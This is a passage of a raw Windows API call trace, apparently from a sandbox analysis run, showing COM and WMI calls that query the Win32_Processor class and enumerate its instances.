WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e7c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c0 | out: ppvObject=0x26e7c0*=0x4f9fd10) returned 0x0 [0042.452] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.452] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e948*=0x0, pszText=0x0 | out: puBuffLength=0x26e948*=0x10, pszText=0x0) returned 0x0 [0042.452] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.452] CoGetContextToken (in: pToken=0x26e788 | out: pToken=0x26e788) returned 0x0 [0042.452] CoGetContextToken (in: pToken=0x26e748 | out: pToken=0x26e748) returned 0x0 [0042.452] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e7c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c0 | out: ppvObject=0x26e7c0*=0x4f9fd10) returned 0x0 [0042.453] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.453] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e948*=0x10, pszText="000000000000000" | out: puBuffLength=0x26e948*=0x10, pszText="win32_processor") returned 0x0 [0042.453] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.457] CoGetContextToken (in: pToken=0x26e57c | out: pToken=0x26e57c) returned 0x0 [0042.457] WbemLocator:IUnknown:AddRef (This=0x4f9dc84) returned 0x3 [0042.457] IWbemServices:GetObject (in: This=0x4f9dc84, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x26e6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x26e6f0*=0x4fa5708, ppCallResult=0x0) returned 0x0 [0042.477] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x2 [0042.485] IWbemClassObject:Get (in: This=0x4fa5708, wszName="__PATH", lFlags=0, pVal=0x26e8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e990*=0, plFlavor=0x26e98c*=0 | out: pVal=0x26e8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor", varVal2=0x0), pType=0x26e990*=8, plFlavor=0x26e98c*=64) returned 0x0 [0042.485] SysStringLen (param_1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor") returned 0x26 [0042.485] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x304 [0042.485] GetLastError () returned 0x0 [0042.485] SetEvent (hEvent=0x280) returned 1 [0042.486] GetLastError () returned 0x0 [0042.486] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e8a8*=0x304, lpdwindex=0x26e660 | out: lpdwindex=0x26e660) returned 0x0 [0042.489] CoGetContextToken (in: pToken=0x26e6f8 | out: pToken=0x26e6f8) returned 0x0 [0042.489] CoGetContextToken (in: pToken=0x26e6b8 | out: pToken=0x26e6b8) returned 0x0 [0042.489] WbemDefPath:IUnknown:AddRef (This=0x4f9dca8) returned 0x2 [0042.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x26e734*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e730 | out: ppvObject=0x26e730*=0x4f9dca8) returned 0x0 [0042.489] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x2 [0042.489] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x1 [0042.489] CoGetContextToken (in: pToken=0x26e778 | out: pToken=0x26e778) returned 0x0 [0042.489] CoGetContextToken (in: pToken=0x26e738 | out: pToken=0x26e738) returned 0x0 [0042.489] WbemDefPath:IUnknown:AddRef (This=0x4f9dca8) returned 0x2 [0042.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9dca8, riid=0x26e7b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7b0 | out: ppvObject=0x26e7b0*=0x4f9dca8) returned 0x0 [0042.489] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x2 [0042.489] WbemDefPath:IWbemPath:SetText (This=0x4f9dca8, uMode=0x4, pszPath="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor") returned 0x0 [0042.489] WbemDefPath:IUnknown:Release (This=0x4f9dca8) returned 0x1 [0042.490] IWbemClassObject:Get (in: This=0x4fa5708, wszName="__CLASS", lFlags=0, pVal=0x26e924*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26e9d8*=0, plFlavor=0x26e9d4*=0 | out: pVal=0x26e924*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x26e9d8*=8, plFlavor=0x26e9d4*=64) returned 0x0 [0042.490] SysStringLen (param_1="Win32_Processor") returned 0xf [0042.490] CoGetContextToken (in: pToken=0x26e1bc | out: pToken=0x26e1bc) returned 0x0 [0042.490] WbemLocator:IUnknown:AddRef (This=0x4f9dc84) returned 0x3 [0042.490] IWbemServices:CreateInstanceEnum (in: This=0x4f9dc84, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x26e7fc | out: ppEnum=0x26e7fc*=0x4fa5b44) returned 0x0 [0042.500] IUnknown:QueryInterface (in: This=0x4fa5b44, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e4ac | out: ppvObject=0x26e4ac*=0x4fa5b48) returned 0x0 [0042.501] IClientSecurity:QueryBlanket (in: This=0x4fa5b48, pProxy=0x4fa5b44, pAuthnSvc=0x26e4f4, pAuthzSvc=0x26e4f0, pServerPrincName=0x26e500, pAuthnLevel=0x26e4f8, pImpLevel=0x26e4e4, pAuthInfo=0x26e4e8, pCapabilites=0x26e4ec | out: pAuthnSvc=0x26e4f4*=0xa, pAuthzSvc=0x26e4f0*=0x0, pServerPrincName=0x26e500, pAuthnLevel=0x26e4f8*=0x6, pImpLevel=0x26e4e4*=0x2, pAuthInfo=0x26e4e8, pCapabilites=0x26e4ec*=0x1) returned 0x0 [0042.501] IUnknown:Release (This=0x4fa5b48) returned 0x1 [0042.501] IUnknown:QueryInterface (in: This=0x4fa5b44, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e4a0 | out: ppvObject=0x26e4a0*=0x7d7f3c) returned 0x0 [0042.501] IUnknown:QueryInterface (in: This=0x4fa5b44, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e49c | out: ppvObject=0x26e49c*=0x4fa5b48) returned 0x0 [0042.501] IClientSecurity:SetBlanket (This=0x4fa5b48, pProxy=0x4fa5b44, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.502] IUnknown:Release (This=0x4fa5b48) returned 0x2 [0042.502] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x1 [0042.503] CoTaskMemFree (pv=0x79e618) [0042.503] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x2 [0042.503] IUnknown:QueryInterface (in: This=0x4fa5b44, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26de54 | out: ppvObject=0x26de54*=0x7d7f3c) returned 0x0 [0042.503] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26de10 | out: ppvObject=0x26de10*=0x0) returned 0x80004002 [0042.503] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26dd04 | out: ppvObject=0x26dd04*=0x0) returned 0x80004002 [0042.504] WbemLocator:IUnknown:AddRef (This=0x7d7f3c) returned 0x3 [0042.504] CoGetContextToken (in: pToken=0x26dc9c | out: pToken=0x26dc9c) returned 0x0 [0042.504] CoGetContextToken (in: pToken=0x26dc60 | out: pToken=0x26dc60) returned 0x0 [0042.504] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dc94 | out: ppvObject=0x26dc94*=0x779464) returned 0x0 [0042.504] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26dcc4 | out: pAptType=0x26dcc4*=3) returned 0x0 [0042.504] IUnknown:Release (This=0x779464) returned 0x1 [0042.504] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dc84 | out: ppvObject=0x26dc84*=0x7d7e9c) returned 0x0 [0042.504] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7d7e9c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x26dc8c | out: pCid=0x26dc8c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.504] WbemLocator:IUnknown:Release (This=0x7d7e9c) returned 0x3 [0042.505] CoGetContextToken (in: pToken=0x26dc94 | out: pToken=0x26dc94) returned 0x0 [0042.505] WbemLocator:IUnknown:AddRef (This=0x7d7f3c) returned 0x4 [0042.505] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dd08 | out: ppvObject=0x26dd08*=0x7d7f24) returned 0x0 [0042.505] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x4 [0042.505] WbemLocator:IRpcOptions:Query (in: This=0x7d7f24, pPrx=0x7d7f3c, dwProperty=2, pdwValue=0x26dd2c | out: pdwValue=0x26dd2c) returned 0x80004002 [0042.505] WbemLocator:IUnknown:Release (This=0x7d7f24) returned 0x3 [0042.505] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x2 [0042.505] CoGetContextToken (in: pToken=0x26e108 | out: pToken=0x26e108) returned 0x0 [0042.505] CoGetContextToken (in: pToken=0x26e0c8 | out: pToken=0x26e0c8) returned 0x0 [0042.505] WbemLocator:IUnknown:AddRef (This=0x7d7f3c) returned 0x3 [0042.505] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x26e144*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x26e140 | out: ppvObject=0x26e140*=0x4fa5b44) returned 0x0 [0042.505] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x3 [0042.505] IUnknown:Release (This=0x4fa5b44) returned 0x2 [0042.506] IUnknown:Release (This=0x4fa5b44) returned 0x1 [0042.511] CoGetContextToken (in: pToken=0x26e7d8 | out: pToken=0x26e7d8) returned 0x0 [0042.511] CoGetContextToken (in: pToken=0x26e798 | out: pToken=0x26e798) returned 0x0 [0042.511] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e814*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e810 | out: ppvObject=0x26e810*=0x4f9daa8) returned 0x0 [0042.511] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x26e98c | out: puCount=0x26e98c*=0x2) returned 0x0 [0042.512] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.512] CoGetContextToken (in: pToken=0x26e7c8 | out: pToken=0x26e7c8) returned 0x0 [0042.512] CoGetContextToken (in: pToken=0x26e788 | out: pToken=0x26e788) returned 0x0 [0042.512] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e804*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e800 | out: ppvObject=0x26e800*=0x4f9daa8) returned 0x0 [0042.512] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.512] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e988*=0x0, pszText=0x0 | out: puBuffLength=0x26e988*=0xf, pszText=0x0) returned 0x0 [0042.512] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.512] CoGetContextToken (in: pToken=0x26e7c8 | out: pToken=0x26e7c8) returned 0x0 [0042.512] CoGetContextToken (in: pToken=0x26e788 | out: pToken=0x26e788) returned 0x0 [0042.512] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e804*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e800 | out: ppvObject=0x26e800*=0x4f9daa8) returned 0x0 [0042.512] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.512] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e988*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e988*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0042.512] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.513] CoGetContextToken (in: pToken=0x26e320 | out: pToken=0x26e320) returned 0x0 [0042.513] CoGetContextToken (in: pToken=0x26e2e0 | out: pToken=0x26e2e0) returned 0x0 [0042.513] WbemLocator:IUnknown:AddRef (This=0x7d7f3c) returned 0x2 [0042.513] WbemLocator:IUnknown:QueryInterface (in: This=0x7d7f3c, riid=0x26e35c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x26e358 | out: ppvObject=0x26e358*=0x4fa5b44) returned 0x0 [0042.513] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x2 [0042.513] IUnknown:AddRef (This=0x4fa5b44) returned 0x3 [0042.513] IEnumWbemClassObject:Clone (in: This=0x4fa5b44, ppEnum=0x26e954 | out: ppEnum=0x26e954*=0x4fa5c0c) returned 0x0 [0042.514] IUnknown:QueryInterface (in: This=0x4fa5c0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e610 | out: ppvObject=0x26e610*=0x4fa5c10) returned 0x0 [0042.515] IClientSecurity:QueryBlanket (in: This=0x4fa5c10, pProxy=0x4fa5c0c, pAuthnSvc=0x26e658, pAuthzSvc=0x26e654, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c, pImpLevel=0x26e648, pAuthInfo=0x26e64c, pCapabilites=0x26e650 | out: pAuthnSvc=0x26e658*=0xa, pAuthzSvc=0x26e654*=0x0, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c*=0x6, pImpLevel=0x26e648*=0x2, pAuthInfo=0x26e64c, pCapabilites=0x26e650*=0x1) returned 0x0 [0042.515] IUnknown:Release (This=0x4fa5c10) returned 0x1 [0042.515] IUnknown:QueryInterface (in: This=0x4fa5c0c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e604 | out: ppvObject=0x26e604*=0x7d8f44) returned 0x0 [0042.515] IUnknown:QueryInterface (in: This=0x4fa5c0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e600 | out: ppvObject=0x26e600*=0x4fa5c10) returned 0x0 [0042.515] IClientSecurity:SetBlanket (This=0x4fa5c10, pProxy=0x4fa5c0c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.516] IUnknown:Release (This=0x4fa5c10) returned 0x2 [0042.516] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x1 [0042.516] CoTaskMemFree (pv=0x79e6d8) [0042.517] IUnknown:Release (This=0x4fa5b44) returned 0x2 [0042.517] IUnknown:QueryInterface (in: This=0x4fa5c0c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dfac | out: ppvObject=0x26dfac*=0x7d8f44) returned 0x0 [0042.517] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26df68 | out: ppvObject=0x26df68*=0x0) returned 0x80004002 [0042.517] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26de5c | out: ppvObject=0x26de5c*=0x0) returned 0x80004002 [0042.518] WbemLocator:IUnknown:AddRef (This=0x7d8f44) returned 0x3 [0042.518] CoGetContextToken (in: pToken=0x26ddf4 | out: pToken=0x26ddf4) returned 0x0 [0042.518] CoGetContextToken (in: pToken=0x26ddb8 | out: pToken=0x26ddb8) returned 0x0 [0042.518] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26ddec | out: ppvObject=0x26ddec*=0x779464) returned 0x0 [0042.518] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26de1c | out: pAptType=0x26de1c*=3) returned 0x0 [0042.518] IUnknown:Release (This=0x779464) returned 0x1 [0042.518] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dddc | out: ppvObject=0x26dddc*=0x7d8ea4) returned 0x0 [0042.518] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7d8ea4, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x26dde4 | out: pCid=0x26dde4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.518] WbemLocator:IUnknown:Release (This=0x7d8ea4) returned 0x3 [0042.519] CoGetContextToken (in: pToken=0x26ddec | out: pToken=0x26ddec) returned 0x0 [0042.519] WbemLocator:IUnknown:AddRef (This=0x7d8f44) returned 0x4 [0042.519] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26de60 | out: ppvObject=0x26de60*=0x7d8f2c) returned 0x0 [0042.519] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x4 [0042.519] WbemLocator:IRpcOptions:Query (in: This=0x7d8f2c, pPrx=0x7d8f44, dwProperty=2, pdwValue=0x26de84 | out: pdwValue=0x26de84) returned 0x80004002 [0042.519] WbemLocator:IUnknown:Release (This=0x7d8f2c) returned 0x3 [0042.519] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x2 [0042.519] CoGetContextToken (in: pToken=0x26e260 | out: pToken=0x26e260) returned 0x0 [0042.519] CoGetContextToken (in: pToken=0x26e220 | out: pToken=0x26e220) returned 0x0 [0042.519] WbemLocator:IUnknown:AddRef (This=0x7d8f44) returned 0x3 [0042.519] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x26e29c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x26e298 | out: ppvObject=0x26e298*=0x4fa5c0c) returned 0x0 [0042.519] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x3 [0042.519] IUnknown:Release (This=0x4fa5c0c) returned 0x2 [0042.519] IUnknown:Release (This=0x4fa5c0c) returned 0x1 [0042.524] CoGetContextToken (in: pToken=0x26e854 | out: pToken=0x26e854) returned 0x0 [0042.524] CoGetContextToken (in: pToken=0x26e814 | out: pToken=0x26e814) returned 0x0 [0042.524] WbemLocator:IUnknown:AddRef (This=0x7d8f44) returned 0x2 [0042.524] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8f44, riid=0x26e890*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x26e88c | out: ppvObject=0x26e88c*=0x4fa5c0c) returned 0x0 [0042.524] WbemLocator:IUnknown:Release (This=0x7d8f44) returned 0x2 [0042.524] IUnknown:AddRef (This=0x4fa5c0c) returned 0x3 [0042.524] IEnumWbemClassObject:Reset (This=0x4fa5c0c) returned 0x0 [0042.526] IUnknown:Release (This=0x4fa5c0c) returned 0x2 [0042.529] CoGetContextToken (in: pToken=0x26e73c | out: pToken=0x26e73c) returned 0x0 [0042.529] IUnknown:AddRef (This=0x4fa5c0c) returned 0x3 [0042.529] IEnumWbemClassObject:Next (in: This=0x4fa5c0c, lTimeout=-1, uCount=0x1, apObjects=0x787838, puReturned=0x260fc30 | out: apObjects=0x787838*=0x4fa5c48, puReturned=0x260fc30*=0x1) returned 0x0 [0043.759] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dd48 | out: ppvObject=0x26dd48*=0x4fa5c48) returned 0x0 [0043.759] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26dd04 | out: ppvObject=0x26dd04*=0x0) returned 0x80004002 [0043.761] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26dbf8 | out: ppvObject=0x26dbf8*=0x0) returned 0x80004002 [0043.762] IUnknown:AddRef (This=0x4fa5c48) returned 0x3 [0043.762] CoGetContextToken (in: pToken=0x26db90 | out: pToken=0x26db90) returned 0x0 [0043.762] CoGetContextToken (in: pToken=0x26db54 | out: pToken=0x26db54) returned 0x0 [0043.762] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26db88 | out: ppvObject=0x26db88*=0x779464) returned 0x0 [0043.762] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26dbb8 | out: pAptType=0x26dbb8*=3) returned 0x0 [0043.762] IUnknown:Release (This=0x779464) returned 0x1 [0043.762] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26db78 | out: ppvObject=0x26db78*=0x4fa5c4c) returned 0x0 [0043.762] IMarshal:GetUnmarshalClass (in: This=0x4fa5c4c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x26db80 | out: pCid=0x26db80*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0043.762] IUnknown:Release (This=0x4fa5c4c) returned 0x3 [0043.763] CoGetContextToken (in: pToken=0x26db88 | out: pToken=0x26db88) returned 0x0 [0043.763] IUnknown:AddRef (This=0x4fa5c48) returned 0x4 [0043.763] IUnknown:QueryInterface (in: This=0x4fa5c48, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dbfc | out: ppvObject=0x26dbfc*=0x0) returned 0x80004002 